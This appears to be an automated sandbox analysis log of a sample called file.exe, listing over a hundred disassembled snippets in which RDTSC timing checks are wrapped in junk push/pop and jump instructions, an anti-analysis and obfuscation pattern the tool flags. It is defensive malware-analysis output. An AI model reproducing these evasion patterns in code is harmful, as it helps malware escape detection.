Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110D83A second address: 110D853 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBD38EF616Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jne 00007FBD38EF6172h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110D853 second address: 110D85D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FBD3971C776h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110D9C3 second address: 110D9F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FBD38EF6166h 0x0000000a popad 0x0000000b jns 00007FBD38EF6168h 0x00000011 jnl 00007FBD38EF6176h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push ebx 0x0000001b js 00007FBD38EF6166h 0x00000021 pop ebx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110D9F7 second address: 110DA1E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBD3971C77Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007FBD3971C782h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110DDF0 second address: 110DDF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110DDF5 second address: 110DE11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBD3971C788h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110E7EF second address: 110E7F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1111D68 second address: 1111D7A instructions: 0x00000000 rdtsc 0x00000002 jg 00007FBD3971C776h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007FBD3971C776h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1111D7A second address: 1111D9C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FBD38EF6176h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11122E5 second address: 11122EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1114E01 second address: 1114E1A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBD38EF6173h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1114E1A second address: 1114E24 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FBD3971C782h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1114E24 second address: 1114E2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1114E2A second address: 1114E3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1114E3B second address: 1114E41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1114E41 second address: 1114E53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBD3971C77Dh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1114F89 second address: 1114F92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11153A5 second address: 11153A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11153A9 second address: 11153B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007FBD38EF6166h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11153B7 second address: 11153BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11153BF second address: 11153C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111BA78 second address: 111BA7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111BA7C second address: 111BA8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBD38EF616Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111BD2E second address: 111BD3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jno 00007FBD3971C776h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111BD3D second address: 111BD55 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FBD38EF6166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FBD38EF616Ah 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C54DD second address: 10C54E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111CB7B second address: 111CB7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1074491 second address: 1074497 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1074497 second address: 107449B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1124C44 second address: 1124C57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBD3971C77Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1124C57 second address: 1124C6B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBD38EF6170h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1124F38 second address: 1124F40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1124F40 second address: 1124F64 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBD38EF616Fh 0x00000007 jmp 00007FBD38EF6171h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1124F64 second address: 1124F7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBD3971C784h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1124F7C second address: 1124F97 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FBD38EF6166h 0x00000008 jmp 00007FBD38EF616Bh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1125137 second address: 112513B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11253BF second address: 11253C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11253C4 second address: 11253F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FBD3971C77Eh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b jmp 00007FBD3971C77Dh 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push ecx 0x00000013 jc 00007FBD3971C778h 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f push esi 0x00000020 pop esi 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1125539 second address: 112553D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112553D second address: 112554F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007FBD3971C77Ch 0x0000000c jc 00007FBD3971C776h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11256F2 second address: 11256F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11256F6 second address: 112571A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBD3971C780h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f jmp 00007FBD3971C77Ah 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112571A second address: 1125720 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1125720 second address: 1125759 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FBD3971C784h 0x00000008 jl 00007FBD3971C776h 0x0000000e popad 0x0000000f jmp 00007FBD3971C783h 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 pushad 0x00000018 push esi 0x00000019 pop esi 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1125759 second address: 112575F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112CC1C second address: 112CC3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FBD3971C776h 0x0000000a jnl 00007FBD3971C776h 0x00000010 popad 0x00000011 push ebx 0x00000012 jnl 00007FBD3971C776h 0x00000018 pushad 0x00000019 popad 0x0000001a pop ebx 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112CC3A second address: 112CC57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jno 00007FBD38EF6166h 0x0000000f jmp 00007FBD38EF616Dh 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112D093 second address: 112D09E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112E7BF second address: 112E7C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112E7C3 second address: 112E7E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBD3971C786h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112E7E6 second address: 112E7EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112E7EC second address: 112E7F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112E7F0 second address: 112E815 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBD38EF6179h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007FBD38EF6168h 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112E815 second address: 112E81C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112E81C second address: 112E831 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FBD38EF6166h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d js 00007FBD38EF6172h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112E831 second address: 112E837 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11386B8 second address: 11386C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FBD38EF6166h 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11386C3 second address: 11386E5 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FBD3971C78Ah 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11386E5 second address: 11386EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11386EE second address: 11386F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113886B second address: 1138871 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1139FD2 second address: 1139FF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop esi 0x00000008 pushad 0x00000009 ja 00007FBD3971C778h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007FBD3971C782h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114AD1A second address: 114AD1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114AD1E second address: 114AD46 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FBD3971C776h 0x00000008 jmp 00007FBD3971C786h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jns 00007FBD3971C778h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114F813 second address: 114F84F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 pushad 0x0000000a popad 0x0000000b ja 00007FBD38EF6166h 0x00000011 pop edi 0x00000012 push edx 0x00000013 jmp 00007FBD38EF6170h 0x00000018 pushad 0x00000019 popad 0x0000001a pop edx 0x0000001b popad 0x0000001c pushad 0x0000001d jmp 00007FBD38EF616Dh 0x00000022 pushad 0x00000023 pushad 0x00000024 popad 0x00000025 push edx 0x00000026 pop edx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114F84F second address: 114F85D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FBD3971C776h 0x0000000a popad 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114F85D second address: 114F863 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114F863 second address: 114F86C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114F86C second address: 114F876 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FBD38EF6166h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1155974 second address: 115597A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115597A second address: 115597E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115597E second address: 1155992 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jc 00007FBD3971C778h 0x0000000e push eax 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1155992 second address: 1155996 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1155996 second address: 11559A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A9EE second address: 115A9F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A9F3 second address: 115A9FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A9FB second address: 115AA03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11614CF second address: 11614D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1161AC2 second address: 1161AE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBD38EF616Dh 0x00000009 popad 0x0000000a jnp 00007FBD38EF6172h 0x00000010 jnp 00007FBD38EF6166h 0x00000016 jg 00007FBD38EF6166h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1161EFB second address: 1161EFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1161EFF second address: 1161F03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1164F30 second address: 1164F5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBD3971C781h 0x00000009 pushad 0x0000000a popad 0x0000000b push edi 0x0000000c pop edi 0x0000000d popad 0x0000000e jmp 00007FBD3971C780h 0x00000013 pushad 0x00000014 push edx 0x00000015 pop edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11740DE second address: 11740E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11740E2 second address: 11740F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBD3971C77Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11740F7 second address: 11740FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11740FF second address: 1174105 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117592F second address: 1175949 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FBD38EF6166h 0x00000008 jmp 00007FBD38EF6170h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1175949 second address: 1175969 instructions: 0x00000000 rdtsc 0x00000002 je 00007FBD3971C782h 0x00000008 jmp 00007FBD3971C77Ah 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 js 00007FBD3971C790h 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1175969 second address: 117596D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117596D second address: 1175971 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1175971 second address: 117597A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1176E82 second address: 1176E8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FBD3971C776h 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1176E8F second address: 1176E96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1176E96 second address: 1176E9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1176E9C second address: 1176EA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1183CE4 second address: 1183CE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11936C0 second address: 11936C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1193DAA second address: 1193DAF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1193DAF second address: 1193DB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1193F16 second address: 1193F2B instructions: 0x00000000 rdtsc 0x00000002 jng 00007FBD3971C77Eh 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1193F2B second address: 1193F50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007FBD38EF6194h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007FBD38EF6172h 0x00000018 rdtsc
